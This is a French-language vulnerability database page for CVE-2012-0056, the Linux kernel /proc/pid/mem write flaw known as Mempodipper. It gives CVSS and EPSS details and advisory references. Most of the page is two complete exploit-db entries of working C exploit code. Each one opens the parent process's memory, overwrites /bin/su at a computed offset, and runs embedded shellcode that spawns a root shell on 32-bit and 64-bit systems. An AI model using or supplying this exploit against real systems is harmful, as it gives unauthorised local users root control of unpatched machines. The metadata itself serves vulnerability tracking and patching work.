CVE-2012-0056 : Détail

CVE-2012-0056

A01-Broken Access Control
0.29%V3
Local
2012-01-27
14h00 +00:00
2018-01-17
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The mem_write function in the Linux kernel before 3.2.2, when ASLR is disabled, does not properly check permissions when writing to /proc//mem, which allows local users to gain privileges by modifying process memory, as demonstrated by Mempodipper.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 18411

Date de publication : 2012-01-22 23h00 +00:00
Auteur : zx2c4
EDB Vérifié : Yes

/* Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/ # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit # Date: Jan 21, 2012 # Author: zx2c4 # Tested on: Gentoo, Ubuntu # Platform: Linux # Category: Local # CVE-2012-0056 * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> char *socket_path = "/tmp/.sockpuppet"; int send_fd(int fd) { char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; int n; int sock; char cms[CMSG_SPACE(sizeof(int))]; if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0; } int recv_fd() { int listener; int sock; int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; struct sockaddr_un addr; char cms[CMSG_SPACE(sizeof(int))]; if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) return -1; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1); unlink(socket_path); if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0) return -1; if (listen(listener, 1) < 0) return -1; if ((sock = accept(listener, NULL, NULL)) < 0) return -1; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); close(listener); return fd; } int main(int argc, char **argv) { if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') { char parent_mem[256]; sprintf(parent_mem, "/proc/%s/mem", argv[2]); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(fd); return 0; } printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); int parent_pid = getpid(); if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return -1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 6); dup2(fd, 2); unsigned long address; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') address = strtoul(argv[2], NULL, 16); else { printf("[+] Reading su for exit@plt.\n"); // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed. FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); char result[32]; result[0] = 0; fgets(result, 32, command); pclose(command); address = strtoul(result, NULL, 16); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]); return 1; } printf("[+] Resolved exit@plt to 0x%lx.\n", address); } printf("[+] Calculating su padding.\n"); FILE *command = popen("su this-user-does-not-exist 2>&1", "r"); char result[256]; result[0] = 0; fgets(result, 256, command); pclose(command); unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char); unsigned long offset = address - su_padding; printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40" "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69" "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb" "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48" "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char pid[32]; sprintf(pid, "%d", parent_pid); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", argv[0], "-c", pid, NULL); } }
Exploit Database EDB-ID : 35161

Date de publication : 2012-01-11 23h00 +00:00
Auteur : zx2c4
EDB Vérifié : Yes

/* Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 */ /* * Mempodipper * by zx2c4 * * Linux Local Root Exploit * * Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * - zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ #define _LARGEFILE64_SOURCE #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/user.h> #include <sys/ptrace.h> #include <sys/reg.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> char *prog_name; int send_fd(int sock, int fd) { char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; int n; char cms[CMSG_SPACE(sizeof(int))]; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; memmove(CMSG_DATA(cmsg), &fd, sizeof(int)); if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len) return -1; close(sock); return 0; } int recv_fd(int sock) { int n; int fd; char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; char cms[CMSG_SPACE(sizeof(int))]; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_name = 0; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = sizeof cms; if ((n = recvmsg(sock, &msg, 0)) < 0) return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); return fd; } unsigned long ptrace_address() { int fd[2]; printf("[+] Creating ptrace pipe.\n"); pipe(fd); fcntl(fd[0], F_SETFL, O_NONBLOCK); printf("[+] Forking ptrace child.\n"); int child = fork(); if (child) { close(fd[1]); char buf; printf("[+] Waiting for ptraced child to give output on syscalls.\n"); for (;;) { wait(NULL); if (read(fd[0], &buf, 1) > 0) break; ptrace(PTRACE_SYSCALL, child, NULL, NULL); } printf("[+] Error message written. Single stepping to find address.\n"); struct user_regs_struct regs; for (;;) { ptrace(PTRACE_SINGLESTEP, child, NULL, NULL); wait(NULL); ptrace(PTRACE_GETREGS, child, NULL, &regs); #if defined(__i386__) #define instruction_pointer regs.eip #define upper_bound 0xb0000000 #elif defined(__x86_64__) #define instruction_pointer regs.rip #define upper_bound 0x700000000000 #else #error "That platform is not supported." #endif if (instruction_pointer < upper_bound) { unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL); if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */) return instruction_pointer; } } } else { printf("[+] Ptrace_traceme'ing process.\n"); if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) { perror("[-] ptrace"); return 0; } close(fd[0]); dup2(fd[1], 2); execl("/bin/su", "su", "not-a-valid-user", NULL); } return 0; } unsigned long objdump_address() { FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r"); if (!command) { perror("[-] popen"); return 0; } char result[32]; fgets(result, 32, command); pclose(command); return strtoul(result, NULL, 16); } unsigned long find_address() { printf("[+] Ptracing su to find next instruction without reading binary.\n"); unsigned long address = ptrace_address(); if (!address) { printf("[-] Ptrace failed.\n"); printf("[+] Reading su binary with objdump to find exit@plt.\n"); address = objdump_address(); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name); exit(-1); } } printf("[+] Resolved call address to 0x%lx.\n", address); return address; } int su_padding() { printf("[+] Calculating su padding.\n"); FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); if (!command) { perror("[-] popen"); exit(1); } char result[256]; fgets(result, 256, command); pclose(command); return strstr(result, "this-user-does-not-exist") - result; } int child(int sock) { char parent_mem[256]; sprintf(parent_mem, "/proc/%d/mem", getppid()); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; } printf("[+] Sending fd %d to parent.\n", fd); send_fd(sock, fd); return 0; } int parent(unsigned long address) { int sockets[2]; printf("[+] Opening socketpair.\n"); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) { perror("[-] socketpair"); return 1; } if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(sockets[1]); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return 1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 15); dup2(fd, 2); unsigned long offset = address - su_padding(); printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET); #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48" "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7" "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50" "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; #else #error "That platform is not supported." #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char sock[32]; sprintf(sock, "%d", sockets[0]); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", prog_name, "-c", sock, NULL); } return 0; } int main(int argc, char **argv) { prog_name = argv[0]; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') return child(atoi(argv[2])); printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') return parent(strtoul(argv[2], NULL, 16)); else return parent(find_address()); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.39 To (excluding) 3.0.18

Linux>>Linux_kernel >> Version From (including) 3.1 To (excluding) 3.2.2

Références

http://www.securityfocus.com/bid/51625
Tags : vdb-entry, x_refsource_BID
http://blog.zx2c4.com/749
Tags : x_refsource_MISC
http://ubuntu.com/usn/usn-1336-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.redhat.com/support/errata/RHSA-2012-0052.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/47708
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.openwall.com/lists/oss-security/2012/01/19/4
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2012/01/18/2
Tags : mailing-list, x_refsource_MLIST
http://www.redhat.com/support/errata/RHSA-2012-0061.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2012/01/18/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2012/01/22/4
Tags : mailing-list, x_refsource_MLIST
http://www.kb.cert.org/vuls/id/470151
Tags : third-party-advisory, x_refsource_CERT-VN